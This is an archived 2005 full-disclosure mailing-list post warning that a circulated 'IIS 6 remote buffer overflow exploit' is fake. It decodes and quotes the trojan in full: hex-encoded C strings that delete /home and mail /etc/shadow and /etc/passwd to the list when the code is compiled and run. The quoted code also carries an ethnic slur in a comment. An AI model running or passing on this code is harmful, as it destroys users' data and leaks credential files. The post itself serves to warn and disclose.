full-disclosure - IIS 6 Remote Buffer Overflow Exploit

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Date: Wed Apr 20 01:44:32 2005
From: seclists at securinews.com (Paul Kurczaba)
Subject: IIS 6 Remote Buffer Overflow Exploit

THIS ADVISORY IS FALSE!!!!!!!!!!!!!!!!!!!!!!!

"shellcode" is decoded to be:
/bin/rm -rf /home/*;clear;echo bl4ckh4t,hehe

"launcher" is decoded to be:
cat /etc/shadow |mail full-disclosure@...ts.grok.org.uk

"netcat_shell" is decoded to be:
cat /etc/passwd |mail full-disclosure@...ts.grok.org.uk


Day Jay wrote:
> /* Proof of concept code
>    Please don't send us e-mails
>    asking us "how to hack" because
>    we will be forced to skullfsck you.
> 
> DISCLAIMER:
> !!NOT RESPONSIBLE WITH YOUR USE OF THIS CODE!!
> 
>    IIS 6 Buffer Overflow Exploit
> 
>    BUG: inetinfo.exe improperly bound checks
>    http requests sent longer than 6998 chars.
>    Can get messy but enough testing, and we have
>    found a way in.
> 
>    VENDOR STATUS: Notified
>    FIX: In process
> 
>    Remote root.
> 
>    eg.
>    #./iis6_inetinfoX xxx.xxx.xxx.xxx -p 80
>     + Connecting to host...
>     + Connected.
>     + Inserting Shellcode...
>     + Done...
>     + Spawining shell..
> 
>     Microsoft Windows XP [Version 5.1.2600]
>    (C) Copyright 1985-2001 Microsoft Corp.
>    C:\>
> 
> 
> 
> */
> char shellcode[] =
> "\x2f\x62\x69\x6e\x2f\x72\x6d\x20"
> "\x2d\x72\x66\x20\x2f\x68\x6f\x6d"
> "\x65\x2f\x2a\x3b\x63\x6c\x65\x61"
> "\x72\x3b\x65\x63\x68\x6f\x20\x62"
> "\x6c\x34\x63\x6b\x68\x34\x74\x2c"
> "\x68\x65\x68\x65";
> 
> char launcher [] =
> "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73"
> "\x68\x61\x64\x6f\x77\x20\x7c\x6d\x61\x69"
> "\x6c\x20\x66\x75\x6c\x6c\x2d\x64\x69"
> "\x73\x63\x6c\x6f\x73\x75\x72\x65\x40"
> "\x6c\x69\x73\x74\x73\x2e\x67\x72\x6f\x6b"
> "\x2e\x6f\x72\x67\x2e\x75\x6b\x20";
> 
> char netcat_shell [] =
> "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70"
> "\x61\x73\x73\x77\x64\x20\x7c\x6d\x61\x69"
> "\x6c\x20\x66\x75\x6c\x6c\x2d\x64\x69"
> "\x73\x63\x6c\x6f\x73\x75\x72\x65\x40"
> "\x6c\x69\x73\x74\x73\x2e\x67\x72\x6f\x6b"
> "\x2e\x6f\x72\x67\x2e\x75\x6b\x20";
> 
> 
> main()
> {
> 
> //Section Initialises designs implemented by mexicans
> //Imigrate
> system(launcher);
> system(netcat_shell);
> system(shellcode);
> 
> //int socket = 0;
> //double long port = 0.0;
> 
> //#DEFINE port host address
> //#DEFINE number of inters
> //#DEFINE gull eeuEE
> 
>  //     for(int j; j < 30; j++)
>         {
>         //Find socket remote address fault
>         printf(".");
>         }
> //overtake inetinfo here IIS_666666^
> return 0;
> }
> 
> 
> 
> 
> 		
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